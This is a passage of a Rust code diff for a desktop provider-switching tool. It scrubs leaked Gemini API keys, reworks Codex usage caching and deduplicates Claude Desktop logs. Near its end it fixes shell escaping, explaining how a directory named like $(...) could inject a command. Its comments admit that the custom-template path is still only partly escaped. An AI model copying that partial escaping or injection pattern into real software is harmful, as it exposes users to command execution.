if key == "GOOGLE_GEMINI_BASE_URL" || key == "GEMINI_API_KEY" {
// 端点按名剥离(它不是凭据,模式匹配够不着);凭据全部交给
// `is_sensitive_config_key` 统一模式匹配(与 Claude 提取器一致)。
// 只列固定名单会漏掉下一个 `*_API_KEY` —— 例如 `GOOGLE_API_KEY`
// provider.rs 认可的一等 Gemini 凭据),而共享片段会被 deep-merge
// 回其它 Gemini 供应商,漏剥即等于把 A 账号的密钥写进 B 供应商并
// 发往 B 的 base_url。`GEMINI_API_KEY` 不必单列:`_KEY` 后缀已覆盖。
if key == "GOOGLE_GEMINI_BASE_URL" || Self::is_sensitive_config_key(key) {
continue;
}
let Value::String(v) = value else {
@@ -3263,6 +3778,221 @@ impl ProviderService {
.map_err(|e| AppError::Message(format!("Serialization failed: {e}")))
}
/// 一次性清理:把历史泄漏进 Gemini 共享片段的凭据从所有存储位置抹掉。
///
/// 背景:`extract_gemini_common_config` 曾只剥离两个固定键名,`GOOGLE_API_KEY`
/// 等一等凭据会进入共享片段,再被 `apply_common_config_to_settings` 深合并进
/// **其它** Gemini 供应商的 env,随请求发往对方的 base_url。
///
/// 光修提取器不够:Gemini 的片段一旦生成就**永不自动重提取**(启动期
/// auto-extract 与导入后补提取都要求 `snippet.is_none()`,切换时的回写又只对
/// Claude / Codex 生效),所以存量片段会一直带着密钥继续注入。
///
/// 两个关键约束:
///
/// 1. **不能只清片段**。合并与剥离是一对靠「值相等」严格抵消的操作:切走供应商时
/// `remove_common_config_from_settings` 依据片段内容把注入的键删掉。片段里一旦
/// 没了这个键,backfill 就会把 live 中残留的密钥原样写进受害供应商的
/// `settings_config`——泄漏从瞬时污染变成永久污染。所以片段、各供应商配置、
/// live 文件必须一起清。
/// 2. **按值相等定向删除,不按键名一刀切**。复用 `remove_common_config_from_settings`
/// 可以只清掉扩散出去的那一份,保留某个供应商自己写的、值不同的同名键。
///
/// 步骤顺序本身是安全属性的一部分:**清片段必须排在最后**。片段是
/// `remove_common_config_from_settings` 唯一的"该剥哪些键"来源,一旦清空,任何
/// 残留(live 文件里的、下一轮重试要处理的)都再也无法被识别和剥离。所以所有
/// 可能失败的步骤都排在它前面,失败即带错返回,让下次启动能原样重来。
///
/// 清理后部分供应商会显示缺少 API Key,需用户重填——这是正确行为:那把密钥本就
/// 不属于它们。(受害者原有的同名键在合并时已被覆盖,无法恢复。)动手前会往
/// settings 的 `gemini_common_config_scrub_audit_v1` 写一条审计记录,内容是
/// **键名与受影响的供应商 id,不含值**`settings` 会随 WebDAV/S3 同步上传,
/// 而这里处理的正是必须销毁的凭据,留值等于把一次清除换成一份跨设备扩散、
/// 没有界面入口、永不过期的明文副本。
pub async fn scrub_leaked_gemini_common_config(state: &AppState) -> Result<(), AppError> {
const FLAG: &str = "gemini_common_config_credentials_scrubbed_v1";
const AUDIT_KEY: &str = "gemini_common_config_scrub_audit_v1";
let app = AppType::Gemini;
if state.db.get_bool_flag(FLAG).unwrap_or(false) {
return Ok(());
}
let Some(snippet_text) = state.db.get_config_snippet(app.as_str())? else {
state.db.set_setting(FLAG, "true")?;
return Ok(());
};
// 片段解析不了就不动它,只标记完成——乱改用户数据比留着更糟
let Ok(Value::Object(entries)) = serde_json::from_str::<Value>(&snippet_text) else {
state.db.set_setting(FLAG, "true")?;
return Ok(());
};
let mut poison = serde_json::Map::new();
let mut clean = serde_json::Map::new();
for (key, value) in entries {
if Self::is_sensitive_config_key(&key) {
poison.insert(key, value);
} else {
clean.insert(key, value);
}
}
if poison.is_empty() {
state.db.set_setting(FLAG, "true")?;
return Ok(());
}
log::warn!(
"检测到 {} 个凭据键残留在 Gemini 通用配置片段中,开始一次性清理",
poison.len()
);
let poison_keys: Vec<String> = poison.keys().cloned().collect();
let poison_value = Value::Object(poison);
let poison_text = serde_json::to_string(&poison_value)
.map_err(|e| AppError::Message(format!("Serialization failed: {e}")))?;
// 1) 先算出各供应商清理后的配置,但**先不落库**
let providers = state.db.get_all_providers(app.as_str())?;
let mut pending: Vec<(String, Provider, Value)> = Vec::new();
for (id, provider) in providers {
let cleaned = match live::remove_common_config_from_settings(
&app,
&provider.settings_config,
&poison_text,
) {
Ok(cleaned) => cleaned,
Err(err) => {
log::warn!("清理供应商 '{id}' 的泄漏凭据失败: {err}");
continue;
}
};
if cleaned != provider.settings_config {
pending.push((id, provider, cleaned));
}
}
// 2) 落库前留一份审计记录:**只记键名与受影响的供应商,不记值**。
//
// 「按值相等定向删除」在一种合法场景下也会命中:用户有意在多个供应商里
// 复用同一把 key。所以必须留下"删了什么、从哪删的",否则用户只能靠翻
// 日志。但不能留值——`settings` 表不在 `SYNC_SKIP_TABLES` 里,会随
// WebDAV/S3 同步上传,而这里处理的恰恰是必须销毁的泄漏凭据:留值等于
// 把一次清除换成一份没有界面入口、永不过期、还会跨设备扩散的明文副本。
// 密钥本来就该轮换,可恢复性不值这个代价。
let removed_env_keys = |before: &Value, after: &Value| -> Vec<String> {
let before_env = before.get("env").and_then(Value::as_object);
let after_env = after.get("env").and_then(Value::as_object);
match (before_env, after_env) {
(Some(before_env), Some(after_env)) => before_env
.keys()
.filter(|key| !after_env.contains_key(*key))
.cloned()
.collect(),
(Some(before_env), None) => before_env.keys().cloned().collect(),
_ => Vec::new(),
}
};
let audit = serde_json::json!({
"removedFromSnippet": poison_keys,
"providers": pending
.iter()
.map(|(id, provider, cleaned)| serde_json::json!({
"id": id,
"removedKeys": removed_env_keys(&provider.settings_config, cleaned),
}))
.collect::<Vec<_>>(),
});
let audit_text = serde_json::to_string(&audit)
.map_err(|e| AppError::Message(format!("Serialization failed: {e}")))?;
// 只在没有记录时写。provider 的写入不是一个事务(每次 save_provider 各自
// 提交),上一轮可能改到一半就中止;此时完成标记没置位,下次启动会重跑,
// 而重跑看到的"原始状态"已经残缺。无条件 INSERT OR REPLACE 会拿这份残缺
// 记录盖掉第一轮那份完整的。
if state.db.get_setting(AUDIT_KEY)?.is_none() {
state.db.set_setting(AUDIT_KEY, &audit_text)?;
}
// 3) 各供应商 settings_config:按值相等定向删除扩散出去的副本
for (id, provider, cleaned) in pending {
let mut updated = provider;
updated.settings_config = cleaned;
state.db.save_provider(app.as_str(), &updated)?;
log::info!("已从 Gemini 供应商 '{id}' 中清除泄漏的共享凭据");
}
// 4) 代理接管中的 live 快照里也可能有一份副本。这一步的失败**必须传播**:
//
// 关代理时 `restore_live_config_for_app_with_fallback_inner`proxy.rs:869
// 会把这份快照原样写回 `~/.gemini/.env`。若它仍带毒而我们照样清了片段、置了
// 完成标记,那么代理一停凭据就当场复活,而一次性标记又保证不会再清第二次;
// 此后片段里已没有这个键,下一次切换的 backfill 就把它永久写进受害供应商的
// 配置——还是本函数开头那个顺序陷阱,只是换了扇门进来。
//
// 带错返回是安全的失败方式:调用方(lib.rs:1189)只记 warn 不中断启动,
// 片段和标记都原样留着,下次启动照原样重来。
if let Some(backup) = state.db.get_live_backup(app.as_str()).await? {
let original: Value = serde_json::from_str(&backup.original_config)
.map_err(|e| AppError::Message(format!("解析 Gemini 代理接管备份失败: {e}")))?;
let cleaned = live::remove_common_config_from_settings(&app, &original, &poison_text)?;
if cleaned != original {
let text = serde_json::to_string(&cleaned)
.map_err(|e| AppError::Message(format!("Serialization failed: {e}")))?;
state.db.save_live_backup(app.as_str(), &text).await?;
log::info!("已从 Gemini 代理接管备份中清除泄漏的共享凭据");
}
}
// 5) `~/.gemini/.env`**定向**删除,且必须在清片段之前做,失败即中止。
//
// 为什么不用 `sync_current_provider_for_app` 重投影:它在没有当前供应商
// 时直接返回 Ok 而根本不写文件,泄漏值会原样留在 live 里;等片段被清空
// 之后,下次切换时 `remove_common_config_from_settings` 再也认不出这个
// 键,backfill 就把它永久写进受害供应商的配置——正是本函数开头说的那个
// 顺序陷阱,只是由"没修"变成"修了一半更糟"。定向删除还顺带保住了只存在
// 于 live、与供应商无关的手工 env(重投影会把它们抹掉)。
//
// 删除走 `remove_gemini_env_entries` 的**保序**实现而不是 read→HashMap→
// write 往返:后者会顺手抹掉注释、空行和无法识别的行,并按键名重排整个
// 文件。全量投影时那无所谓,但这里是一次用户没主动触发的启动期清理,不该
// 连带改写与泄漏无关的内容。
//
// 失败就带着错误返回:片段此刻还留着毒键,完成标记也没置位,下次启动能
// 照原样重来。清片段是不可逆的一步,必须排在所有会失败的步骤之后。
let poison_env: HashMap<String, String> = poison_value
.as_object()
.map(|map| {
map.iter()
.filter_map(|(key, value)| {
value.as_str().map(|text| (key.clone(), text.to_string()))
})
.collect()
})
.unwrap_or_default();
if crate::gemini_config::remove_gemini_env_entries(&poison_env)? {
log::info!("已从 ~/.gemini/.env 中清除泄漏的共享凭据");
}
// 6) 片段本身:保留可共享的部分。全部清空时删行而不是写 "{}"——留着空行会让
// should_auto_extract_config_snippet 永远为 false,用户的合法共享配置再也
// 重建不回来。同理绝不置 cleared 标记。
if clean.is_empty() {
state.db.set_config_snippet(app.as_str(), None)?;
} else {
let cleaned_snippet = serde_json::to_string_pretty(&Value::Object(clean))
.map_err(|e| AppError::Message(format!("Serialization failed: {e}")))?;
state
.db
.set_config_snippet(app.as_str(), Some(cleaned_snippet))?;
}
state.db.set_setting(FLAG, "true")?;
log::info!("Gemini 通用配置凭据清理完成");
Ok(())
}
/// Extract common config for OpenCode (JSON format)
fn extract_opencode_common_config(settings: &Value) -> Result<String, AppError> {
// OpenCode uses a different config structure with npm, options, models
+344 -37
View File
@@ -29,9 +29,17 @@ use rust_decimal::Decimal;
use std::collections::HashMap;
use std::fs;
use std::io::{BufRead, BufReader};
#[cfg(unix)]
use std::os::unix::fs::MetadataExt;
#[cfg(windows)]
use std::os::windows::io::AsRawHandle;
use std::path::{Path, PathBuf};
use std::sync::{Mutex, OnceLock};
use std::sync::{Arc, Mutex, OnceLock};
use std::time::SystemTime;
#[cfg(windows)]
use windows_sys::Win32::Storage::FileSystem::{
FileIdInfo, GetFileInformationByHandleEx, FILE_ID_INFO,
};
const CODEX_THREAD_REQUEST_ID_PREFIX: &str = "codex_session:thread-v1";
@@ -72,6 +80,115 @@ struct TokenUsageSignature {
last: Option<TokenCountersSignature>,
}
#[derive(Debug)]
struct TimestampedTokenSignature {
timestamp: DateTime<Utc>,
signature: TokenUsageSignature,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
struct ParentFileStamp {
modified_nanos: i64,
size: u64,
#[cfg(unix)]
device: u64,
#[cfg(unix)]
inode: u64,
#[cfg(windows)]
volume_serial: u64,
#[cfg(windows)]
file_id: [u8; 16],
}
impl ParentFileStamp {
fn from_file(file: &fs::File) -> Option<Self> {
let metadata = file.metadata().ok()?;
#[cfg(windows)]
let (volume_serial, file_id) = windows_file_identity(file)?;
Some(Self {
modified_nanos: metadata_modified_nanos(&metadata),
size: metadata.len(),
#[cfg(unix)]
device: metadata.dev(),
#[cfg(unix)]
inode: metadata.ino(),
#[cfg(windows)]
volume_serial,
#[cfg(windows)]
file_id,
})
}
}
#[cfg(windows)]
fn windows_file_identity(file: &fs::File) -> Option<(u64, [u8; 16])> {
let mut information = FILE_ID_INFO::default();
// SAFETY: `file` owns a live handle for this call, and `information` is a
// valid writable FILE_ID_INFO buffer of the size passed to Windows.
let succeeded = unsafe {
GetFileInformationByHandleEx(
file.as_raw_handle(),
FileIdInfo,
std::ptr::addr_of_mut!(information).cast(),
std::mem::size_of::<FILE_ID_INFO>() as u32,
)
} != 0;
succeeded.then_some((
information.VolumeSerialNumber,
information.FileId.Identifier,
))
}
#[derive(Debug)]
struct ParentTokenTimeline {
events: Vec<TimestampedTokenSignature>,
max_timestamp: Option<DateTime<Utc>>,
has_token_without_timestamp: bool,
}
impl ParentTokenTimeline {
fn signatures_before(
&self,
parent_path: &Path,
cutoff: DateTime<Utc>,
) -> Result<Vec<TokenUsageSignature>, String> {
if self.has_token_without_timestamp {
return Err(format!(
"父 rollout {} 的 token_count 缺少有效 timestamp",
parent_path.display()
));
}
if self
.max_timestamp
.is_none_or(|timestamp| timestamp < cutoff)
{
return Err(format!(
"父 rollout {} 尚未写到 child fork 时刻",
parent_path.display()
));
}
Ok(self
.events
.iter()
.filter(|event| event.timestamp <= cutoff)
.map(|event| event.signature.clone())
.collect())
}
}
#[derive(Debug)]
struct CachedParentTimeline {
stamp: ParentFileStamp,
timeline: Arc<ParentTokenTimeline>,
}
#[derive(Debug)]
struct CachedReplayPrefix {
modified: i64,
size: u64,
prefix: usize,
}
#[derive(Debug)]
struct ParsedTokenEvent {
line_offset: i64,
@@ -116,8 +233,8 @@ struct PendingEntry {
#[derive(Debug, Default)]
struct CodexReplayCaches {
parent_signatures: HashMap<(PathBuf, i64), Vec<TokenUsageSignature>>,
replay_prefixes: HashMap<(PathBuf, i64, u64), usize>,
parent_timelines: HashMap<PathBuf, CachedParentTimeline>,
replay_prefixes: HashMap<PathBuf, CachedReplayPrefix>,
pending: HashMap<PathBuf, PendingEntry>,
}
@@ -757,20 +874,28 @@ fn parent_signatures_before(
parent_path: &Path,
cutoff: DateTime<Utc>,
) -> Result<Vec<TokenUsageSignature>, String> {
let cache_key = (parent_path.to_path_buf(), cutoff.timestamp_micros());
if let Ok(caches) = replay_caches().lock() {
if let Some(signatures) = caches.parent_signatures.get(&cache_key) {
return Ok(signatures.clone());
}
}
let file = fs::File::open(parent_path)
.map_err(|error| format!("无法打开父 rollout {}: {error}", parent_path.display()))?;
let mut signatures = Vec::new();
let mut max_timestamp: Option<DateTime<Utc>> = None;
let stamp = ParentFileStamp::from_file(&file);
let cached_timeline = stamp.and_then(|stamp| {
replay_caches().lock().ok().and_then(|caches| {
caches
.parent_timelines
.get(parent_path)
.filter(|entry| entry.stamp == stamp)
.map(|entry| Arc::clone(&entry.timeline))
})
});
if let Some(timeline) = cached_timeline {
return timeline.signatures_before(parent_path, cutoff);
}
// 必须扫描完整父文件并逐行应用 cutoff,不能在首个未来时间戳处 break:
// rollout 写入顺序不承诺时间戳严格单调。
let mut events = Vec::new();
let mut max_timestamp: Option<DateTime<Utc>> = None;
let mut has_token_without_timestamp = false;
// 必须扫描完整父文件,不能在首个未来时间戳处 break:rollout 写入顺序
// 不承诺时间戳严格单调。缓存完整时间线后,不同 child cutoff 只需内存过滤。
for line in BufReader::new(file).lines() {
let Ok(line) = line else {
continue;
@@ -802,29 +927,31 @@ fn parent_signatures_before(
continue;
};
let Some(timestamp) = timestamp else {
return Err(format!(
"父 rollout {} 的 token_count 缺少有效 timestamp",
parent_path.display()
));
has_token_without_timestamp = true;
continue;
};
if timestamp <= cutoff {
signatures.push(signature);
}
events.push(TimestampedTokenSignature {
timestamp,
signature,
});
}
if max_timestamp.is_none_or(|timestamp| timestamp < cutoff) {
return Err(format!(
"父 rollout {} 尚未写到 child fork 时刻",
parent_path.display()
));
let timeline = Arc::new(ParentTokenTimeline {
events,
max_timestamp,
has_token_without_timestamp,
});
let result = timeline.signatures_before(parent_path, cutoff);
if let (Some(stamp), Ok(mut caches)) = (stamp, replay_caches().lock()) {
caches.parent_timelines.insert(
parent_path.to_path_buf(),
CachedParentTimeline {
stamp,
timeline: Arc::clone(&timeline),
},
);
}
if let Ok(mut caches) = replay_caches().lock() {
caches
.parent_signatures
.insert(cache_key, signatures.clone());
}
Ok(signatures)
result
}
fn resolve_parent_signatures(
@@ -993,10 +1120,14 @@ fn sync_single_codex_file(
),
));
};
let cache_key = (file_path.to_path_buf(), file_modified, file_size);
if let Ok(caches) = replay_caches().lock() {
if let Some(prefix) = caches.replay_prefixes.get(&cache_key) {
*prefix
if let Some(prefix) = caches
.replay_prefixes
.get(file_path)
.filter(|cached| cached.modified == file_modified && cached.size == file_size)
.map(|cached| cached.prefix)
{
prefix
} else {
drop(caches);
let parent_signatures =
@@ -1018,7 +1149,14 @@ fn sync_single_codex_file(
};
let prefix = matching_replay_prefix(&parsed.token_events, &parent_signatures);
if let Ok(mut caches) = replay_caches().lock() {
caches.replay_prefixes.insert(cache_key, prefix);
caches.replay_prefixes.insert(
file_path.to_path_buf(),
CachedReplayPrefix {
modified: file_modified,
size: file_size,
prefix,
},
);
}
prefix
}
@@ -1285,6 +1423,15 @@ mod tests {
token_count_at(input, cached, output, "2026-07-10T03:00:02Z")
}
fn token_count_without_timestamp(input: u64, cached: u64, output: u64) -> serde_json::Value {
let mut value = token_count(input, cached, output);
value
.as_object_mut()
.expect("token_count must be an object")
.remove("timestamp");
value
}
fn sync_test_file(
db: &Database,
file: &Path,
@@ -1407,6 +1554,7 @@ mod tests {
}
#[test]
#[serial_test::serial]
fn test_thread_spawn_parent_strips_replay_and_keeps_live_usage() -> Result<(), AppError> {
clear_codex_replay_caches();
let db = Database::memory()?;
@@ -1449,6 +1597,7 @@ mod tests {
}
#[test]
#[serial_test::serial]
fn test_filtered_parent_events_use_subsequence_prefix_alignment() -> Result<(), AppError> {
clear_codex_replay_caches();
let db = Database::memory()?;
@@ -1481,6 +1630,158 @@ mod tests {
}
#[test]
#[serial_test::serial]
fn test_parent_rollout_is_cached_once_across_fork_cutoffs() -> Result<(), AppError> {
clear_codex_replay_caches();
let temp = tempdir().unwrap();
let parent = rollout_path(temp.path(), PARENT_ID);
write_jsonl(
&parent,
&[
session_meta(PARENT_ID),
token_count_at(100, 50, 10, "2026-07-10T03:00:01Z"),
token_count_at(200, 100, 20, "2026-07-10T03:00:10Z"),
turn_context_at("2026-07-10T03:00:20Z"),
],
);
let early = "2026-07-10T03:00:05Z".parse::<DateTime<Utc>>().unwrap();
let late = "2026-07-10T03:00:15Z".parse::<DateTime<Utc>>().unwrap();
assert_eq!(parent_signatures_before(&parent, early).unwrap().len(), 1);
let first_timeline =
Arc::clone(&replay_caches().lock().unwrap().parent_timelines[&parent].timeline);
assert_eq!(parent_signatures_before(&parent, late).unwrap().len(), 2);
let caches = replay_caches().lock().unwrap();
assert_eq!(caches.parent_timelines.len(), 1);
assert!(Arc::ptr_eq(
&first_timeline,
&caches.parent_timelines[&parent].timeline
));
Ok(())
}
#[test]
#[serial_test::serial]
fn test_parent_rollout_cache_invalidates_after_append() -> Result<(), AppError> {
clear_codex_replay_caches();
let temp = tempdir().unwrap();
let parent = rollout_path(temp.path(), PARENT_ID);
let cutoff = "2026-07-10T03:00:15Z".parse::<DateTime<Utc>>().unwrap();
write_jsonl(
&parent,
&[
session_meta(PARENT_ID),
token_count_at(100, 50, 10, "2026-07-10T03:00:01Z"),
turn_context_at("2026-07-10T03:00:20Z"),
],
);
assert_eq!(parent_signatures_before(&parent, cutoff).unwrap().len(), 1);
write_jsonl(
&parent,
&[
session_meta(PARENT_ID),
token_count_at(100, 50, 10, "2026-07-10T03:00:01Z"),
token_count_at(200, 100, 20, "2026-07-10T03:00:10Z"),
turn_context_at("2026-07-10T03:00:20Z"),
],
);
assert_eq!(parent_signatures_before(&parent, cutoff).unwrap().len(), 2);
let caches = replay_caches().lock().unwrap();
assert_eq!(caches.parent_timelines.len(), 1);
Ok(())
}
#[test]
#[serial_test::serial]
fn test_parent_rollout_content_error_cache_preserves_open_errors() {
clear_codex_replay_caches();
let temp = tempdir().unwrap();
let parent = rollout_path(temp.path(), PARENT_ID);
let cutoff = "2026-07-10T03:00:05Z".parse::<DateTime<Utc>>().unwrap();
write_jsonl(
&parent,
&[
session_meta(PARENT_ID),
token_count_without_timestamp(100, 50, 10),
turn_context_at("2026-07-10T03:00:20Z"),
],
);
let first_error = parent_signatures_before(&parent, cutoff).unwrap_err();
assert!(first_error.contains("token_count 缺少有效 timestamp"));
let cached_timeline =
|| Arc::clone(&replay_caches().lock().unwrap().parent_timelines[&parent].timeline);
let first_timeline = cached_timeline();
let second_error = parent_signatures_before(&parent, cutoff).unwrap_err();
assert_eq!(second_error, first_error);
assert!(Arc::ptr_eq(&first_timeline, &cached_timeline()));
fs::remove_file(&parent).unwrap();
let open_error = parent_signatures_before(&parent, cutoff).unwrap_err();
assert!(open_error.contains("无法打开父 rollout"));
}
#[test]
#[serial_test::serial]
fn test_parent_rollout_nanosecond_cutoffs_are_exact() {
clear_codex_replay_caches();
let temp = tempdir().unwrap();
let parent = rollout_path(temp.path(), PARENT_ID);
write_jsonl(
&parent,
&[
session_meta(PARENT_ID),
token_count_at(100, 50, 10, "2026-07-10T03:00:00.000000500Z"),
turn_context_at("2026-07-10T03:00:00.000000900Z"),
],
);
let before = "2026-07-10T03:00:00.000000300Z"
.parse::<DateTime<Utc>>()
.unwrap();
let after = "2026-07-10T03:00:00.000000700Z"
.parse::<DateTime<Utc>>()
.unwrap();
assert!(parent_signatures_before(&parent, before)
.unwrap()
.is_empty());
assert_eq!(parent_signatures_before(&parent, after).unwrap().len(), 1);
assert_eq!(replay_caches().lock().unwrap().parent_timelines.len(), 1);
}
#[cfg(any(unix, windows))]
#[test]
fn test_parent_file_stamp_distinguishes_same_size_same_mtime_files() {
let temp = tempdir().unwrap();
let parent = rollout_path(temp.path(), PARENT_ID);
let replacement = temp.path().join("replacement.jsonl");
let values = [session_meta(PARENT_ID), token_count(100, 50, 10)];
write_jsonl(&parent, &values);
write_jsonl(&replacement, &values);
let original_file = fs::File::open(&parent).unwrap();
let original_metadata = original_file.metadata().unwrap();
let replacement_file = fs::OpenOptions::new()
.write(true)
.open(&replacement)
.unwrap();
replacement_file
.set_times(fs::FileTimes::new().set_modified(original_metadata.modified().unwrap()))
.unwrap();
let original_stamp = ParentFileStamp::from_file(&original_file).unwrap();
let replacement_stamp = ParentFileStamp::from_file(&replacement_file).unwrap();
assert_eq!(
(original_stamp.size, original_stamp.modified_nanos),
(replacement_stamp.size, replacement_stamp.modified_nanos)
);
assert_ne!(original_stamp, replacement_stamp);
}
#[test]
#[serial_test::serial]
fn test_empty_fork_imports_no_parent_usage() -> Result<(), AppError> {
clear_codex_replay_caches();
let db = Database::memory()?;
@@ -1526,6 +1827,7 @@ mod tests {
}
#[test]
#[serial_test::serial]
fn test_conflicting_explicit_parents_are_deferred() -> Result<(), AppError> {
clear_codex_replay_caches();
let db = Database::memory()?;
@@ -1551,6 +1853,7 @@ mod tests {
}
#[test]
#[serial_test::serial]
fn test_parent_future_signature_cannot_extend_replay_prefix() -> Result<(), AppError> {
clear_codex_replay_caches();
let db = Database::memory()?;
@@ -1582,6 +1885,7 @@ mod tests {
}
#[test]
#[serial_test::serial]
fn test_missing_parent_is_deferred_and_recovered_without_child_change() -> Result<(), AppError>
{
clear_codex_replay_caches();
@@ -1615,6 +1919,7 @@ mod tests {
}
#[test]
#[serial_test::serial]
fn test_billable_file_without_meta_is_deferred_without_cursor() -> Result<(), AppError> {
clear_codex_replay_caches();
let db = Database::memory()?;
@@ -1641,6 +1946,7 @@ mod tests {
}
#[test]
#[serial_test::serial]
fn test_non_billable_file_without_meta_advances_cursor() -> Result<(), AppError> {
clear_codex_replay_caches();
let db = Database::memory()?;
@@ -1661,6 +1967,7 @@ mod tests {
}
#[test]
#[serial_test::serial]
fn test_subagents_use_filename_thread_ids() -> Result<(), AppError> {
clear_codex_replay_caches();
let db = Database::memory()?;
File diff suppressed because it is too large Load Diff
+82 -4
View File
@@ -230,6 +230,12 @@ fn data_source_expr(log_alias: &str) -> String {
format!("COALESCE({log_alias}.data_source, 'proxy')")
}
fn dedup_app_type_match_sql(left: &str, right: &str) -> String {
format!(
"{left} IN ({right}, CASE WHEN {right} = 'claude' THEN 'claude-desktop' ELSE {right} END)"
)
}
/// SQL 标量表达式:把 Claude Desktop 网关的 `claude-desktop` app_type 在“展示口径”
/// 上折叠进 `claude`,其余 app_type 原样返回。
///
@@ -243,8 +249,8 @@ fn data_source_expr(log_alias: &str) -> String {
/// 而不改动任何已存储的行(详情面板仍读原始 `app_type`)。
///
/// 注意:包裹后该列上的索引在此比较中失效,但这些都是已带时间过滤的聚合扫描,
/// app_type 本就不是主访问路径,可接受。仅用于读侧;去重匹配(`has_matching_
/// proxy_usage_log`)与额度检查(`check_provider_limits`必须保留原始精确比较。
/// app_type 本就不是主访问路径,可接受。仅用于读侧;跨源去重使用更窄的
/// [`dedup_app_type_match_sql`]额度检查(`check_provider_limits`保留原始精确比较。
fn folded_app_type_sql(column: &str) -> String {
format!("CASE WHEN {column} = 'claude-desktop' THEN 'claude' ELSE {column} END")
}
@@ -298,6 +304,8 @@ fn push_provider_model_filters(
pub(crate) fn effective_usage_log_filter(log_alias: &str) -> String {
let data_source = data_source_expr(log_alias);
let proxy_data_source = data_source_expr("proxy_dedup");
let app_type_match =
dedup_app_type_match_sql("proxy_dedup.app_type", &format!("{log_alias}.app_type"));
format!(
"NOT (
{data_source} IN ('session_log', 'codex_session', 'gemini_session', 'opencode_session')
@@ -305,7 +313,7 @@ pub(crate) fn effective_usage_log_filter(log_alias: &str) -> String {
SELECT 1
FROM proxy_request_logs proxy_dedup
WHERE {proxy_data_source} = 'proxy'
AND proxy_dedup.app_type = {log_alias}.app_type
AND {app_type_match}
AND proxy_dedup.status_code >= 200
AND proxy_dedup.status_code < 300
AND proxy_dedup.input_tokens = {log_alias}.input_tokens
@@ -378,12 +386,13 @@ pub(crate) fn has_matching_proxy_usage_log(
matches!(key.app_type, "codex" | "gemini" | "opencode") && key.cache_creation_tokens == 0;
let l_data_source = data_source_expr("l");
let app_type_match = dedup_app_type_match_sql("l.app_type", "?1");
let sql = format!(
"SELECT EXISTS (
SELECT 1
FROM proxy_request_logs l
WHERE {l_data_source} = 'proxy'
AND l.app_type = ?1
AND {app_type_match}
AND l.status_code >= 200
AND l.status_code < 300
AND l.input_tokens = ?3
@@ -2463,6 +2472,75 @@ mod tests {
Ok(())
}
#[test]
fn test_matching_proxy_log_matches_claude_desktop_for_claude_session() -> Result<(), AppError> {
let conn = Connection::open_in_memory()?;
create_legacy_nullable_logs_table(&conn)?;
conn.execute(
"INSERT INTO proxy_request_logs (
request_id, app_type, model, input_tokens, output_tokens,
cache_read_tokens, cache_creation_tokens, status_code, created_at, data_source
) VALUES ('desktop-proxy', 'claude-desktop', 'claude-sonnet-4-5', 100, 20, 10, 5, 200, 1000, 'proxy')",
[],
)?;
let key = DedupKey {
app_type: "claude",
model: "claude-sonnet-4-5",
input_tokens: 100,
output_tokens: 20,
cache_read_tokens: 10,
cache_creation_tokens: 5,
created_at: 1060,
};
assert!(has_matching_proxy_usage_log(&conn, &key)?);
let mut outside_window = key;
outside_window.created_at = 1_601;
assert!(!has_matching_proxy_usage_log(&conn, &outside_window)?);
let mut different_model = key;
different_model.model = "claude-opus-4-5";
assert!(!has_matching_proxy_usage_log(&conn, &different_model)?);
let mut different_input = key;
different_input.input_tokens += 1;
assert!(!has_matching_proxy_usage_log(&conn, &different_input)?);
let mut different_cache_creation = key;
different_cache_creation.cache_creation_tokens += 1;
assert!(!has_matching_proxy_usage_log(
&conn,
&different_cache_creation
)?);
Ok(())
}
#[test]
fn test_effective_filter_dedups_claude_session_against_desktop_proxy() -> Result<(), AppError> {
let conn = Connection::open_in_memory()?;
create_legacy_nullable_logs_table(&conn)?;
conn.execute_batch(
"INSERT INTO proxy_request_logs (
request_id, app_type, model, input_tokens, output_tokens,
cache_read_tokens, cache_creation_tokens, status_code, created_at, data_source
) VALUES
('desktop-proxy', 'claude-desktop', 'claude-sonnet-4-5', 100, 20, 10, 5, 200, 1000, 'proxy'),
('claude-session', 'claude', 'claude-sonnet-4-5', 100, 20, 10, 5, 200, 1060, 'session_log');",
)?;
let filter = effective_usage_log_filter("l");
let sql = format!("SELECT request_id FROM proxy_request_logs l WHERE {filter}");
let request_ids = conn
.prepare(&sql)?
.query_map([], |row| row.get::<_, String>(0))?
.collect::<Result<Vec<_>, _>>()?;
assert_eq!(request_ids, vec!["desktop-proxy"]);
Ok(())
}
#[test]
fn test_claude_desktop_folds_into_claude_for_display() -> Result<(), AppError> {
let db = Database::memory()?;
+63 -5
View File
@@ -286,11 +286,21 @@ fn launch_custom(
}
let cmd_str = command;
let dir_str = cwd.unwrap_or(".");
// `{cwd}` 是磁盘上扫来的路径,先做转义;`{command}` 保持原样——模板作者写下
// 这个占位符的本意就是让它当命令展开。
//
// ⚠️ 这里的转义**不是完备防护**,只在占位符处于未加引号的 shell 词位置时成立。
// 模板若写成 `echo "{cwd}"`,插入的单引号会落进双引号里变成普通字符,`cwd`
// 里的 `$(...)` 照样求值。安全性取决于模板怎么写,而模板不由这里控制。
//
// 目前本分支无 UI 入口(终端选项列表没有 `custom`,前端也从不传
// `customConfig`),所以不可达。**接线前必须换掉这个方案**——正确做法是让
// 模板声明参数位、由此处按 argv 传递,而不是让用户拼 shell 字符串。
let dir_str = shell_escape(cwd.unwrap_or("."));
let final_cmd_line = template
.replace("{command}", cmd_str)
.replace("{cwd}", dir_str);
.replace("{cwd}", &dir_str);
// Execute via sh -c
let status = Command::new("sh")
@@ -315,9 +325,16 @@ fn build_shell_command(command: &str, cwd: Option<&str>) -> String {
}
}
/// POSIX 单引号转义。
///
/// **必须是单引号**:双引号内 `$(...)`、反引号、`$VAR` 照常展开,而这里包的是
/// `projectDir`——会话历史里记录的真实项目路径,macOS 允许目录名含 `$` `(` `)`
/// 所以一个名为 `$(...)` 的目录就足以让命令替换在用户终端里执行。
///
/// 单引号内不做任何展开,唯一的特例是 `'` 自身无法被表示:用「闭合-转义-重开」
/// 的 `'\''` 序列绕过。
fn shell_escape(value: &str) -> String {
let escaped = value.replace('\\', "\\\\").replace('"', "\\\"");
format!("\"{escaped}\"")
format!("'{}'", value.replace('\'', r"'\''"))
}
fn escape_osascript(value: &str) -> String {
@@ -377,6 +394,47 @@ mod tests {
);
// Verify shell_escape works correctly for paths with spaces
assert_eq!(shell_escape(cwd), "\"/tmp/project dir\"");
assert_eq!(shell_escape(cwd), "'/tmp/project dir'");
}
#[test]
fn shell_escape_neutralizes_command_substitution_in_directory_names() {
// 这些字符在 macOS 目录名里全部合法,而 `cwd` 就是会话历史里的
